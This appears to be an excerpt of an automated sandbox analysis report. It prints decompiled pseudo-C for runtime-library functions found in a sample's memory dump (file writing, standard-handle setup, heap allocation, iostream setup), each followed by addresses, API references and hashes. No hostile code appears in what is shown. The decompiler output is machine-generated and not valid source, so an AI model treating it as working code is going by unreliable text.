							if(_t57 <  &_v9) {
								continue;
							}
							break;
						}
						_a12 = _t50;
						_t56 = _t57 -  &_v5128;
						_t41 = WriteFile(_t55,  &_v5128, _t56,  &_v5132, 0); // executed
						if(_t41 == 0) {
							 *_t46 = GetLastError();
						} else {
							_t43 = _v5132;
							 *((intOrPtr*)(_t46 + 4)) =  *((intOrPtr*)(_t46 + 4)) + _t43;
							if(_t43 >= _t56) {
								goto L9;
							}
						}
						goto L12;
						L9:
						_t50 = _a12;
						_t54 = _v5136;
					} while (_t50 < _t54);
				}
				L12:
				return E001A9545(_t46, _t46, _v8 ^ _t58, _t54, _t55, _t56);
			}

0x001ba60c
0x001ba611
0x001ba618
0x001ba61b
0x001ba62d
0x001ba639
0x001ba63f
0x001ba642
0x001ba644
0x001ba64c
0x001ba64d
0x001ba653
0x001ba654
0x001ba657
0x001ba659
0x001ba65f
0x001ba65f
0x001ba665
0x001ba669
0x001ba66b
0x001ba66e
0x001ba670
0x001ba673
0x001ba676
0x001ba676
0x001ba677
0x001ba679
0x001ba67f
0x00000000
0x00000000
0x00000000
0x001ba67f
0x001ba687
0x001ba68a
0x001ba69e
0x001ba6a6
0x001ba6ca
0x001ba6a8
0x001ba6a8
0x001ba6ae
0x001ba6b3
0x00000000
0x00000000
0x001ba6b3
0x00000000
0x001ba6b5
0x001ba6b5
0x001ba6b8
0x001ba6be
0x001ba6c2
0x001ba6cc
0x001ba6dc

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,001BAB4F,00000000,00000000,00000000,?,0000000C,00000000), ref: 001BA69E
GetLastError.KERNEL32(?,001BAB4F,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,001D4340,00000010,001B1703,00000000,00000000), ref: 001BA6C4

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 76bac10e09d5ffaf1a5a79bc367273fa1cca3c4f52f6402311ffbd7d0d3a7607
Instruction ID: 88bdd40ffc8633881b39c51a87829870537ac5677b73e2add855fa30599f4786
Opcode Fuzzy Hash: 76bac10e09d5ffaf1a5a79bc367273fa1cca3c4f52f6402311ffbd7d0d3a7607
Instruction Fuzzy Hash: B22191B4A002199FCF19CF29DC909E9B7B9EF59301F5844AAE906D7251E730DE82CF61

Uniqueness

Uniqueness Score: -1.00%

Function 001B7BCB Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E001B7BCB() {
				signed int _t20;
				signed int _t22;
				long _t23;
				signed char _t25;
				void* _t28;
				signed int _t31;
				void* _t33;

				_t31 = 0;
				do {
					_t20 = _t31 & 0x0000003f;
					_t33 = _t20 * 0x38 +  *((intOrPtr*)(0x203178 + (_t31 >> 6) * 4));
					if( *(_t33 + 0x18) == 0xffffffff ||  *(_t33 + 0x18) == 0xfffffffe) {
						 *(_t33 + 0x28) = 0x81;
						_t22 = _t31;
						if(_t22 == 0) {
							_push(0xfffffff6);
						} else {
							if(_t22 == 1) {
								_push(0xfffffff5);
							} else {
								_push(0xfffffff4);
							}
						}
						_pop(_t23);
						_t28 = GetStdHandle(_t23);
						if(_t28 == 0xffffffff || _t28 == 0) {
							L16:
							 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
							 *(_t33 + 0x18) = 0xfffffffe;
							_t20 =  *0x202fe8; // 0x0
							if(_t20 != 0) {
								_t20 =  *(_t20 + _t31 * 4);
								 *(_t20 + 0x10) = 0xfffffffe;
							}
							goto L18;
						} else {
							_t25 = GetFileType(_t28); // executed
							if(_t25 == 0) {
								goto L16;
							} else {
								_t20 = _t25 & 0x000000ff;
								 *(_t33 + 0x18) = _t28;
								if(_t20 != 2) {
									if(_t20 == 3) {
										 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000008;
									}
								} else {
									 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
								}
								goto L18;
							}
						}
					} else {
						 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000080;
					}
					L18:
					_t31 = _t31 + 1;
				} while (_t31 != 3);
				return _t20;
			}

0x001b7bd0
0x001b7bd2
0x001b7bd6
0x001b7bdf
0x001b7bea
0x001b7bfa
0x001b7bfe
0x001b7c01
0x001b7c13
0x001b7c03
0x001b7c06
0x001b7c0f
0x001b7c08
0x001b7c0b
0x001b7c0b
0x001b7c06
0x001b7c15
0x001b7c1d
0x001b7c22
0x001b7c4f
0x001b7c4f
0x001b7c53
0x001b7c5a
0x001b7c61
0x001b7c63
0x001b7c66
0x001b7c66
0x00000000
0x001b7c28
0x001b7c29
0x001b7c31
0x00000000
0x001b7c33
0x001b7c33
0x001b7c36
0x001b7c3c
0x001b7c47
0x001b7c49
0x001b7c49
0x001b7c3e
0x001b7c3e
0x001b7c3e
0x00000000
0x001b7c3c
0x001b7c31
0x001b7bf2
0x001b7bf2
0x001b7bf2
0x001b7c6d
0x001b7c6d
0x001b7c6e
0x001b7c7a

APIs

GetStdHandle.KERNEL32(000000F6), ref: 001B7C17
GetFileType.KERNELBASE(00000000), ref: 001B7C29

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 97656e9d3eeecc9cdc7336e17d729f725ef7ebb700a89f5daee4ce1a7a75fd69
Instruction ID: 762815015c1226ac21ac5f48bb44b1325c6d1c580b27e0a6c4280390a76f0c0c
Opcode Fuzzy Hash: 97656e9d3eeecc9cdc7336e17d729f725ef7ebb700a89f5daee4ce1a7a75fd69
Instruction Fuzzy Hash: 3111667150C7534ACB344E3E9DCC5A27E95A7D6334B39071EE0B6876F2C334D986A641

Uniqueness

Uniqueness Score: -1.00%

Function 001A71DC Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E001A71DC(void* __ecx, signed int* __edx, void* __esi, signed short _a4) {
				signed int _v8;
				char _v40;
				char _v42;
				signed short _v44;
				intOrPtr* _v48;
				char _v52;
				char _v56;
				void* __ebx;
				void* __edi;
				signed int _t33;
				signed int _t37;
				intOrPtr* _t40;
				void* _t51;
				void* _t55;
				void* _t58;
				signed short _t60;
				signed int _t62;
				signed int* _t72;
				void* _t73;
				void* _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;

				_t74 = __esi;
				_t72 = __edx;
				_t33 =  *0x1d5010; // 0x8121a627
				_v8 = _t33 ^ _t80;
				_t60 = _a4;
				_t73 = __ecx;
				if(0xffff != _t60) {
					_push(__esi);
					_t62 =  *( *(__ecx + 0x20));
					if(_t62 == 0) {
						L5:
						if( *((intOrPtr*)(_t73 + 0x4c)) == 0) {
							L9:
							_t37 = 0xffff;
						} else {
							E001A6E56(_t73);
							_t40 =  *((intOrPtr*)(_t73 + 0x38));
							_v48 = _t40;
							if(_t40 != 0) {
								_v44 = _t60;
								 *0x1c7144(_t73 + 0x40,  &_v44,  &_v42,  &_v56,  &_v40,  &_v8,  &_v52);
								_t51 =  *((intOrPtr*)( *((intOrPtr*)( *_t40 + 0x1c))))();
								if(_t51 == 0) {
									L16:
									_t77 = _v52 -  &_v40;
									if(_t77 == 0 || _t77 == E001B178C(_t60, _t72,  &_v40, 1, _t77,  *((intOrPtr*)(_t73 + 0x4c)))) {
										 *((char*)(_t73 + 0x3e)) = 1;
										if(_v56 ==  &_v44) {
											goto L9;
										} else {
											goto L19;
										}
									} else {
										goto L9;
									}
								} else {
									_t55 = _t51 - 1;
									if(_t55 == 0) {
										goto L16;
									} else {
										if(_t55 != 0) {
											goto L9;
										} else {
											_push( *((intOrPtr*)(_t73 + 0x4c)));
											_push(_v44);
											goto L8;
										}
									}
								}
								L20:
							} else {
								_push( *((intOrPtr*)(_t73 + 0x4c)));
								_push(_t60); // executed
								L8:
								_t58 = E001A66BE(); // executed
								_t37 = _t60 & 0x0000ffff;
								if(_t58 == 0) {
									goto L9;
								}
							}
						}
					} else {
						_t72 =  *(__ecx + 0x30);
						_t78 =  *_t72;
						if(_t62 >= _t62 + _t78 * 2) {
							goto L5;
						} else {
							 *_t72 = _t78 - 1;
							_t72 =  *(__ecx + 0x20);
							_t79 =  *_t72;
							 *_t72 = _t79 + 2;
							 *_t79 = _t60;
							L19:
							_t37 = _t60;
						}
					}
					_pop(_t74);
				} else {
					_t37 = 0;
				}
				return E001A9545(_t37, _t60, _v8 ^ _t80, _t72, _t73, _t74);
				goto L20;
			}

0x001a71dc
0x001a71dc
0x001a71e2
0x001a71e9
0x001a71ed
0x001a71f6
0x001a71fb
0x001a7204
0x001a7205
0x001a7209
0x001a722e
0x001a7232
0x001a7257
0x001a7257
0x001a7234
0x001a7236
0x001a723b
0x001a723e
0x001a7243
0x001a726d
0x001a7294
0x001a729f
0x001a72a2
0x001a72b7
0x001a72bd
0x001a72bf
0x001a72d7
0x001a72de
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001a72a4
0x001a72a4
0x001a72a7
0x00000000
0x001a72a9
0x001a72ad
0x00000000
0x001a72af
0x001a72af
0x001a72b2
0x00000000
0x001a72b2
0x001a72ad
0x001a72a7
0x00000000
0x001a7245
0x001a7245
0x001a7248
0x001a7249
0x001a7249
0x001a7251
0x001a7255
0x00000000
0x00000000
0x001a7255
0x001a7243
0x001a720b
0x001a720b
0x001a720e
0x001a7215
0x00000000
0x001a7217
0x001a721a
0x001a721c
0x001a721f
0x001a7224
0x001a7226
0x001a72e4
0x001a72e4
0x001a72e4
0x001a7215
0x001a725c
0x001a71fd
0x001a71fd
0x001a71fd
0x001a726a
0x00000000

APIs

_Fputc.LIBCPMT ref: 001A7249

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Fputc
String ID:
API String ID: 3078413507-0
Opcode ID: dad563327f2d9e13bc839b86e3eba821785d4d44cbf66bc300837e05c8bc1efd
Instruction ID: 94b4203876f0d2511ea21fb2286b58feb21d0885e1da4ca80f2c139d9bb0e5c8
Opcode Fuzzy Hash: dad563327f2d9e13bc839b86e3eba821785d4d44cbf66bc300837e05c8bc1efd
Instruction Fuzzy Hash: ED31623990410AEBCF14DFA4C954AEDB7B9BF4A314B140167F542E7780EB35EA44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 001B899C Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E001B899C(signed int _a4, CHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t11;
				_Unknown_base(*)()* _t14;
				signed int* _t20;
				signed int _t22;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				_Unknown_base(*)()* _t36;

				_t20 = 0x2033d0 + _a4 * 4;
				_t28 =  *0x1d5010; // 0x8121a627
				_t31 = _t30 | 0xffffffff;
				_t29 = _t28 ^  *_t20;
				_t22 = _t28 & 0x0000001f;
				asm("ror edx, cl");
				if(_t29 != _t31) {
					if(_t29 == 0) {
						_t11 = E001B88D1(_t22, _a12, _a16); // executed
						if(_t11 == 0) {
							L7:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t31 ^  *0x1d5010;
							_t14 = 0;
							L8:
							return _t14;
						}
						_t36 = GetProcAddress(_t11, _a8);
						if(_t36 == 0) {
							goto L7;
						}
						 *_t20 = E001B3546(_t36);
						_t14 = _t36;
						goto L8;
					}
					return _t29;
				}
				return 0;
			}

0x001b89a6
0x001b89b0
0x001b89b6
0x001b89bb
0x001b89bd
0x001b89c0
0x001b89c4
0x001b89cc
0x001b89d9
0x001b89e2
0x001b8a01
0x001b8a06
0x001b8a0e
0x001b8a16
0x001b8a18
0x001b8a1a
0x00000000
0x001b8a1a
0x001b89ee
0x001b89f2
0x00000000
0x00000000
0x001b89fb
0x001b89fd
0x00000000
0x001b89fd
0x00000000
0x001b89ce
0x00000000

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 531cbe5d08be5c38a95462690c2b20be89531ad19465dd4aa4fc5271899c0ec3
Instruction ID: 68dc45f754b0e7ea95dbf49032ba84f9c58c469676fba632c9bd4a538ae481a2
Opcode Fuzzy Hash: 531cbe5d08be5c38a95462690c2b20be89531ad19465dd4aa4fc5271899c0ec3
Instruction Fuzzy Hash: BB01D2373112119BDF2ADE6AEC80AAA379AAB85B607158122F910DB184DF319841D781

Uniqueness

Uniqueness Score: -1.00%

Function 001B6392 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E001B6392(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x203554, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E001B56E4();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E001AFF41())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E001B3362(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x001b6398
0x001b639d
0x001b63ab
0x001b63ab
0x001b63b1
0x001b63b3
0x001b63b3
0x001b63ca
0x001b63d3
0x001b63db
0x00000000
0x00000000
0x001b63bb
0x001b63bd
0x001b63df
0x001b63e4
0x001b63ea
0x00000000
0x001b63ea
0x001b63c0
0x001b63c6
0x001b63c8
0x00000000
0x00000000
0x001b63c8
0x00000000
0x001b63ca
0x001b63a3
0x001b63a9
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001B7A6F,00000001,00000364,00000005,000000FF,?,00000000,?,001AEC65,00000000,?), ref: 001B63D3

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1d3597f54fadd2870ecdafcdfc744e13afaba6a38e74f7b4d6d46bfaeee461a6
Instruction ID: d86132e09527048ce2ac091b509f8e4d2342b75eea4a9d4209b24b07612e5f28
Opcode Fuzzy Hash: 1d3597f54fadd2870ecdafcdfc744e13afaba6a38e74f7b4d6d46bfaeee461a6
Instruction Fuzzy Hash: 3FF0E932604630AADB216B669C55BDB3BC8BF71760F154065FC1CDA1B5CB78DC0096E0

Uniqueness

Uniqueness Score: -1.00%

Function 001B6429 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E001B6429(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E001AFF41())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x203554, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E001B56E4();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E001B3362(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x001b642f
0x001b6435
0x001b6467
0x001b646c
0x001b6472
0x00000000
0x001b6472
0x001b6439
0x001b643b
0x001b643b
0x001b6452
0x001b645b
0x001b6463
0x00000000
0x00000000
0x001b6443
0x001b6445
0x00000000
0x00000000
0x001b6448
0x001b644e
0x001b6450
0x00000000
0x00000000
0x001b6450
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,001A956D,?,?,001A5EC7,?,001A1573,?), ref: 001B645B

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c09c2a748ca29194cea03a0edb478fbb1a7dea8572a3008e4fcae1723467573f
Instruction ID: c79d0b8eef7488e94fd32547aef5834a46cff045f7f63693692c60a894540819
Opcode Fuzzy Hash: c09c2a748ca29194cea03a0edb478fbb1a7dea8572a3008e4fcae1723467573f
Instruction Fuzzy Hash: ABE09232245E219BDB2127A9AC05BEB7A4CEF727A0F1601B2FC54965D2CB68DC0092E1

Uniqueness

Uniqueness Score: -1.00%

Function 001A8284 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E001A8284(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, char _a8) {
				void* __esi;
				void* __ebp;
				char _t11;
				void* _t20;

				_t20 = __ecx;
				E001A6DAD(__ebx, __ecx, __edi, __ecx, __eflags);
				_t17 = __ecx;
				 *(__ecx + 0x3c) =  *(__ecx + 0x3c) & 0x00000000;
				 *((intOrPtr*)(__ecx + 0x38)) = _a4;
				_t11 = E001A884F(__ebx, __ecx, __edi, __ecx, __eflags, 0x20); // executed
				 *((char*)(_t20 + 0x40)) = _t11;
				if( *((intOrPtr*)(_t20 + 0x38)) == 0) {
					_t17 = _t20;
					_push(0);
					_t11 = E001A2130(_t20,  *(_t20 + 0xc) | 0x00000004);
				}
				if(_a8 != 0) {
					return E001A90B9(_t17, _t20);
				}
				return _t11;
			}

0x001a8288
0x001a828a
0x001a8292
0x001a8294
0x001a829a
0x001a829d
0x001a82a6
0x001a82a9
0x001a82ae
0x001a82b0
0x001a82b6
0x001a82b6
0x001a82bf
0x00000000
0x001a82c7
0x001a82ca

APIs

std::ios_base::_Init.LIBCPMT ref: 001A828A

Part of subcall function 001A6DAD: __EH_prolog3.LIBCMT ref: 001A6DB4
Part of subcall function 001A6DAD: std::locale::_Init.LIBCPMT ref: 001A6DFD

Part of subcall function 001A884F: __EH_prolog3.LIBCMT ref: 001A8856

Part of subcall function 001A2130: ___std_exception_copy.LIBVCRUNTIME ref: 001A21CD

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: H_prolog3Init$___std_exception_copystd::ios_base::_std::locale::_
String ID:
API String ID: 2400365081-0
Opcode ID: f2e7450045d9fe41d65e6d3bf0622d9e1d2f34e27008560709e57e44bbaf49eb
Instruction ID: 1191c48226b364fc393543621aaa88807e61446479f828763c9924b8fd25f4fd
Opcode Fuzzy Hash: f2e7450045d9fe41d65e6d3bf0622d9e1d2f34e27008560709e57e44bbaf49eb
Instruction Fuzzy Hash: CFF0E535200B505BEB70AA659449B6B7BD8AB22334F00440EF58247A82CFB5F440C790

Uniqueness

Uniqueness Score: -1.00%

Function 001A884F Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E001A884F(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t13;
				void* _t15;
				void* _t32;

				E001A9A79(0x1c6a7d, __ebx, __edi, __esi);
				E001A1B20(_t32 - 0x14,  *((intOrPtr*)(__ecx + 0x30)));
				 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
				_t13 = E001A7B14(); // executed
				 *0x1c7144( *((intOrPtr*)(_t32 + 8)), _t32 - 0x14, 8);
				_t15 =  *((intOrPtr*)( *((intOrPtr*)( *_t13 + 0x20))))();
				E001A1B40(_t32 - 0x14);
				return E001A9A56(_t15);
			}

0x001a8856
0x001a8861
0x001a8866
0x001a886e
0x001a8880
0x001a8888
0x001a888f
0x001a889b

APIs

__EH_prolog3.LIBCMT ref: 001A8856

Part of subcall function 001A7B14: __EH_prolog3.LIBCMT ref: 001A7B1B
Part of subcall function 001A7B14: std::_Lockit::_Lockit.LIBCPMT ref: 001A7B25

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: H_prolog3$LockitLockit::_std::_
String ID:
API String ID: 2181796688-0
Opcode ID: 3e850104c372e58c76e1b52523946391e13100156280288568c9b57d8f87f05e
Instruction ID: 3ee197c5595d31b3cac3fa7a40ea4b2a5b53e4999cd4de195eb5c989878558dd
Opcode Fuzzy Hash: 3e850104c372e58c76e1b52523946391e13100156280288568c9b57d8f87f05e
Instruction Fuzzy Hash: 63E0657DA00105AFCF04FB60C511AED77B1FF65351F104049E442A7282DF349E09CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001A7BA9 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E001A7BA9(intOrPtr* __ecx) {
				void* _t31;
				void* _t36;
				void* _t37;
				intOrPtr* _t38;
				void* _t39;

				_push(8);
				E001A9A79(0x1c68ea, _t31, _t36, _t37);
				_t38 = __ecx;
				 *((intOrPtr*)(_t39 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t39 - 0x10)) = 0;
				if( *((intOrPtr*)(_t39 + 0x10)) != 0) {
					 *__ecx = 0x1c7484;
					 *((intOrPtr*)(__ecx + 0x10)) = 0;
					 *((intOrPtr*)(__ecx + 0x30)) = 0;
					 *((intOrPtr*)(__ecx + 0x34)) = 0;
					 *((intOrPtr*)(__ecx + 0x38)) = 0;
					 *((intOrPtr*)(__ecx + 8)) = 0x1c7478;
					 *((intOrPtr*)(_t39 - 4)) = 0;
					 *((intOrPtr*)(_t39 - 0x10)) = 1;
				}
				 *((intOrPtr*)(_t38 +  *((intOrPtr*)( *_t38 + 4)))) = 0x1c7480;
				_t16 =  *((intOrPtr*)( *_t38 + 4)) - 8; // -8
				 *((intOrPtr*)( *((intOrPtr*)( *_t38 + 4)) + _t38 - 4)) = _t16;
				E001A8284(_t31,  *((intOrPtr*)( *_t38 + 4)) + _t38, _t36,  *((intOrPtr*)( *_t38 + 4)) + _t38,  *((intOrPtr*)(_t39 + 8)),  *((intOrPtr*)(_t39 + 0xc)));
				return E001A9A56(_t38);
			}

0x001a7ba9
0x001a7bb0
0x001a7bb5
0x001a7bb7
0x001a7bbc
0x001a7bc2
0x001a7bc4
0x001a7bca
0x001a7bcd
0x001a7bd0
0x001a7bd3
0x001a7bd6
0x001a7bdd
0x001a7be0
0x001a7be0
0x001a7bf2
0x001a7bfe
0x001a7c01
0x001a7c0c
0x001a7c18

APIs

__EH_prolog3.LIBCMT ref: 001A7BB0

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 651dc7dd291d4efcf7887b64bc8b54cad5722533ee9e5a642add14b94cb2197d
Instruction ID: bd433e1b77c360eb5e08c2d67a2335663cb17c357414ef95b0a5d58c305a67b4
Opcode Fuzzy Hash: 651dc7dd291d4efcf7887b64bc8b54cad5722533ee9e5a642add14b94cb2197d
Instruction Fuzzy Hash: 55F0A578610219CFCB55DF68C944E59BBF0BF19304B15885EE889DB351D772DA40CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001B59C8 Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 61%

			E001B59C8(void* __eflags) {
				intOrPtr _t14;
				void* _t18;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t24;

				_push(0x10);
				E001A9A79(0x1c6b0e, _t20, _t22, _t23);
				 *((intOrPtr*)(_t24 - 0x18)) = _t24 + 8;
				_t3 = _t24 - 4;
				 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
				_t14 = 2;
				 *((intOrPtr*)(_t24 - 0x14)) = _t14;
				 *((intOrPtr*)(_t24 - 0x1c)) = _t14;
				_push(_t24 - 0x14);
				_push(_t24 - 0x18);
				_push(_t24 - 0x1c); // executed
				_t18 = E001B5720(_t20, _t22, _t23,  *_t3); // executed
				return E001A9A56(_t18);
			}

0x001b59c8
0x001b59cf
0x001b59d7
0x001b59da
0x001b59da
0x001b59e3
0x001b59e4
0x001b59e7
0x001b59ed
0x001b59f1
0x001b59f5
0x001b59f6
0x001b5a00

APIs

__EH_prolog3.LIBCMT ref: 001B59CF

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
